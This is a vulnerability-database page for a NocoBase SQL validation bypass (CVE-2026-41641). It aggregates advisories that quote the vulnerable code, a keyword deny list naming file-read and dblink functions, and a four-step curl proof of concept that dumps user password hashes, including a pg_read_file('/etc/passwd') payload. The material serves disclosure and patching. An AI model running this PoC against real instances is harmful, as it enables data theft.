Every CVE Search/ Get API key

CVE-2026-41641

NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call

7.2 HighFix available

CVE-2026-41641 is a high vulnerability (CVSS 7.2) in Nocobase, published April 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.83%, the 78th percentile. Fixed in @nocobase/plugin-collection-sql 2.0.39.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.83%Up 1.6 points since May 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Record
CVE-2026-41641
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89, CWE-284
Updated
2026-11-02
EUVDEUVD-2026-28318 7.2

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Record
EUVD-2026-28318
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-wrwh-c28m-9jjh 7.2

@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

  • Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
  • Integrity/Availability: Although checkSQL strips after the first…
Record
GHSA-wrwh-c28m-9jjh
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89, CWE-284
Updated
2026-11-02
NVD 7.2

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Record
CVE-2026-41641
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89, CWE-284
Updated
2026-11-02
OSV 7.2

NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Record
CVE-2026-41641
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-284, CWE-89
Updated
2026-11-02
OSVGHSA-wrwh-c28m-9jjh 7.2

@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

  • Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
  • Integrity/Availability: Although checkSQL strips after the first…
Record
GHSA-wrwh-c28m-9jjh
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-284, CWE-89
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nocobase/plugin-collection-sql
npm
before 2.0.39
2.0.39

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
NucleiNocoBase - SQL Injection

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open